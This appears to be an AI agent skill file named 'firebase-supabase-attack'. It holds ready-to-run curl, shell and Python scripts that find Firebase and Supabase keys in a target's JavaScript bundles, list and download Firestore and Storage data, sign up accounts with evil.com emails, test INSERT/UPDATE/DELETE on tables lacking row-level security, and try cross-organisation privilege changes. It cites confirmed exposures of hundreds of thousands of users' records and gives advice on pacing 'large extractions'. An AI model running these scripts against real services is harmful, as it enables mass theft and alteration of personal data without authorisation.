Skill v1.1.0
currentAutomated scan100/100name: firebase-supabase-attack description: Exploit Firebase/Supabase for data via JS config leak probe. version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] compatibility: Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei tags: [recon, firebase, supabase, firestore, cloud, data-breach] category: recon related_skills:
- api-noauth-hunt
- js-secrets-extraction
- source-leak-hunt
Firebase & Supabase Attack Skill
Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on delivery-platform (204K WhatsApp conversations, 173K phone numbers), visa-processing-platform (64K users, 46K reports), fitness-chain (39K users, 5 Firebase projects, 21 credentials), dental-booking (9 clinics, 1,749 leads).
When to Use
- JavaScript bundle analysis reveals Firebase config (
apiKey,projectId) or Supabase URL + anon key. - Target uses a modern SPA (React, Vue, Angular) with BaaS backend.
- After
js-secrets-extractionfinds Firebase/Supabase identifiers. - After
source-leak-huntfinds.envwithFIREBASE_*orSUPABASE_*variables.
Prerequisites
terminalwith curl, python3, jq.- Firebase project ID or Supabase URL + anon key (from JS bundle, source leak, or recon).
- For Firebase SA key exploitation:
python3withgoogle-authlibrary.
How to Run
# Firebase Firestore — list collections (if public)curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"# Supabase — list users table (if RLS missing)curl --max-time 30 --connect-timeout 10 -sk "https://PROJECT.supabase.co/rest/v1/users" \-H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"# Supabase — test signup (if open)curl --max-time 30 --connect-timeout 10 -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \-H "apikey: ANON_KEY" -H "Content-Type: application/json" \-d '{"email":"test@evil.com","password":"Test123!"}'
Quick Reference
| Platform | What to Find | Exploit Path | Real Example | |
|---|---|---|---|---|
| Firebase Firestore | Public database rules | Direct REST API access, list all collections | delivery-platform: 204K conversations public | |
| Firebase Storage | Public bucket rules | Download all files via REST API | delivery-platform: 1,000+ WhatsApp audio files public | |
| Firebase Auth | Open signup | Create accounts, access protected resources | fitness-chain: Firebase Auth signup open | |
| Firebase SA Key | Service account JSON | GCP IAM escalation, access all GCP resources | fitness-chain: 5 SA keys → full GCP access | |
| Supabase REST | Missing RLS | SELECT/INSERT/UPDATE/DELETE on any table | visa-processing-platform: 64K users, 46K reports, DELETE confirmed | |
| Supabase Storage | Public buckets | Download all files, upload malicious content | visa-processing-platform: public PDF reports bucket | |
| Supabase Auth | Open signup | Create accounts, bypass access controls | dental-booking: open signup + auto-confirm |
Procedure
Phase 1 — Extract Configuration from JS Bundles
TARGET="$1"OUTDIR="$OUTDIR/firebase_supabase/$TARGET"mkdir -p "$OUTDIR"# Download homepage and common JS entry pointscurl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" -o "$OUTDIR/index.html"curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/nullcurl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/nullecho "[*] Extracting Firebase/Supabase configs..."# Firebase config patterngrep -Eo 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u# Supabase config patterngrep -Eo 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
Phase 2 — Firebase Firestore Exploitation
PROJECT_ID="$1" # e.g., delivery-bot-platformecho "[*] Firestore enumeration for $PROJECT_ID"# List root collections (if public)curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \python3 -c "import sys, jsontry:data = json.load(sys.stdin)if 'documents' in data:print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')else:for k in data.keys():print(f'Collection: {k}')except Exception as e:print(f'Error: {e}')print(sys.stdin.read()[:500])" 2>/dev/null# If Firestore requires auth, try with Firebase ID token from Auth# (see Phase 4 for token generation via signup)
Phase 3 — Firestore Collection & Document Access
PROJECT_ID="$1"COLLECTION="$2" # e.g., conversationsV3, users, storesecho "[*] Accessing collection: $COLLECTION"# List documents in collectioncurl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \python3 -c "import sys, jsondata = json.load(sys.stdin)if 'documents' in data:print(f'Documents found: {len(data[\"documents\"])}')for doc in data['documents'][:5]:name = doc['name'].split('/')[-1]fields = doc.get('fields', {})# Extract top-level fieldskeys = list(fields.keys())[:10]print(f' {name}: {keys}')if len(data['documents']) > 5:print(f' ... and {len(data[\"documents\"]) - 5} more')elif 'error' in data:print(f'Error: {data[\"error\"][\"message\"]}')" 2>/dev/null# Read a specific documentDOC_ID="$3" # from the listing abovecurl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \python3 -m json.tool 2>/dev/null | head -50
Phase 4 — Firebase Auth Signup & Token Generation
API_KEY="$1" # from JS bundle (web API key)PROJECT_ID="$2"echo "[*] Testing Firebase Auth signup on $PROJECT_ID"# Sign upSIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \-H "Content-Type: application/json" \-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')if echo "$SIGNUP_RESP" | grep -q "idToken"; thenecho "[+] SIGNUP OPEN — account created!"ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)echo " ID Token: ${ID_TOKEN:0:50}..."# Now use this token with Firestoreecho "[*] Testing Firestore access with ID token..."curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \-H "Authorization: Bearer $ID_TOKEN" | python3 -c "import sys, jsondata = json.load(sys.stdin)if 'documents' in data:print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')elif 'error' in data:print(f'[-] Access denied: {data[\"error\"][\"message\"]}')else:print(f'[?] Unknown response: {list(data.keys())}')" 2>/dev/nullelseecho "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)"fi
Phase 5 — Firebase Storage Enumeration
PROJECT_ID="$1"BUCKET="${PROJECT_ID}.appspot.com" # default bucket nameecho "[*] Storage enumeration for $BUCKET"# List objects (if public)curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \python3 -c "import sys, jsondata = json.load(sys.stdin)if 'items' in data:total = len(data['items'])total_size = sum(int(i.get('size', 0)) for i in data['items'])print(f'Objects: {total} ({total_size:,} bytes)')for item in data['items'][:5]:print(f' {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')elif 'error' in data:print(f'Error: {data[\"error\"][\"message\"]}')"# Download a specific fileOBJECT_NAME="$2" # from listingcurl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \-o "/tmp/firebase_$OBJECT_NAME"echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"
Phase 6 — Supabase REST API Exploitation
SUPABASE_URL="$1" # e.g., https://gfgmuezavgzjmaxhflsu.supabase.coANON_KEY="$2" # from JS bundleecho "[*] Supabase REST API enumeration"# Schema discovery — list tables by querying common namesTABLES=("users" "profiles" "organizations" "posts" "comments" "purchases""orders" "products" "reports" "relatorios" "documents" "files""messages" "conversations" "sessions" "audit_logs")for table in "${TABLES[@]}"; docode=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \"$SUPABASE_URL/rest/v1/$table?limit=1" \-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)if [[ "$code" == "200" ]]; thencount=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \-H "Prefer: count=exact" -I 2>/dev/null | grep -i "content-range" | grep -Eo '\d+(?=/\d+$)')echo " [TABLE] $table — HTTP 200 (${count:-?} rows)"# Fetch first 3 rowscurl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=3" \-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | \python3 -m json.tool 2>/dev/null | head -20echo ""elif [[ "$code" == "401" || "$code" == "403" ]]; thenecho " [BLOCKED] $table — HTTP $code (RLS protected)"fidone
Phase 7 — Supabase CRUD Testing (RLS Bypass)
SUPABASE_URL="$1"ANON_KEY="$2"TABLE="$3" # from table discovery aboveecho "[*] CRUD testing on $TABLE"# INSERTecho -n " INSERT: "curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \-H "Content-Type: application/json" -H "Prefer: return=minimal" \-d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \-o /dev/null -w "%{http_code}" 2>/dev/nullecho ""# UPDATE (PATCH)echo -n " UPDATE: "curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \-H "Content-Type: application/json" -H "Prefer: return=minimal" \-d '{"test":"rls_updated"}' \-o /dev/null -w "%{http_code}" 2>/dev/nullecho ""# DELETEecho -n " DELETE: "curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \-H "Prefer: return=minimal" \-o /dev/null -w "%{http_code}" 2>/dev/nullecho ""
Phase 8 — Supabase Auth Signup
SUPABASE_URL="$1"ANON_KEY="$2"echo "[*] Supabase Auth signup test"SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \-H "apikey: $ANON_KEY" -H "Content-Type: application/json" \-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')if echo "$SIGNUP_RESP" | grep -q "access_token"; thenecho "[+] SIGNUP OPEN!"ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)echo " Access Token: ${ACCESS_TOKEN:0:50}..."# Test cross-org access (change organization_id in profile)curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \-H "Content-Type: application/json" -H "Prefer: return=representation" \-d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/nullecho " [*] If the above returned data for org_id=1, cross-organization access works"elseecho "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('msg','unknown'))" 2>/dev/null)"fi
Pitfalls
- Anon key is NOT a secret. It's designed to be public. The vulnerability is missing RLS, not the key exposure itself.
- Firestore rules may allow reads but not writes. Test SELECT, INSERT, UPDATE, DELETE separately.
- Supabase RLS may protect some tables but not others. Test every table independently.
- Firebase Auth signup may require email verification. Check if the app auto-confirms emails (many do).
- Rate limiting on Firestore REST API. Spread requests 0.5-1s apart for large extractions.
- API key in JS bundle may be truncated/redacted. The key string visible in the minified bundle may show
AIzaSy...USd4or similar truncation. This happens when the bundler splits the key across multiple string literals or when the key references a variable defined elsewhere. If the Firebase API tests return "API key not valid", the key may be a partial match from the regex. Extract the surrounding context (50+ chars on each side) to find the complete key. - Firebase project may not be deployed. The Firebase project ID (e.g.,
medxgo-2e637) may exist in the GCP project registry but have no deployed Firebase resources (no Firestore, no Hosting, no Storage). Check/firebaseapp.com,/firebaseio.com, and/firestore.googleapis.comindependently — each may return different results.
Verification
- Firebase Firestore: MUST list collections/documents without authentication (no Authorization header).
- Supabase REST: MUST return HTTP 200 with data rows using only the anon key (no user JWT).
- Supabase CRUD: MUST confirm at least one write operation (INSERT/UPDATE/DELETE) succeeds.
- Firebase Auth signup: MUST return
idTokenoraccess_tokenin the response. - Firebase Storage: MUST list objects without authentication.
- Document all accessible data: collection/table names, row counts, sensitive fields exposed.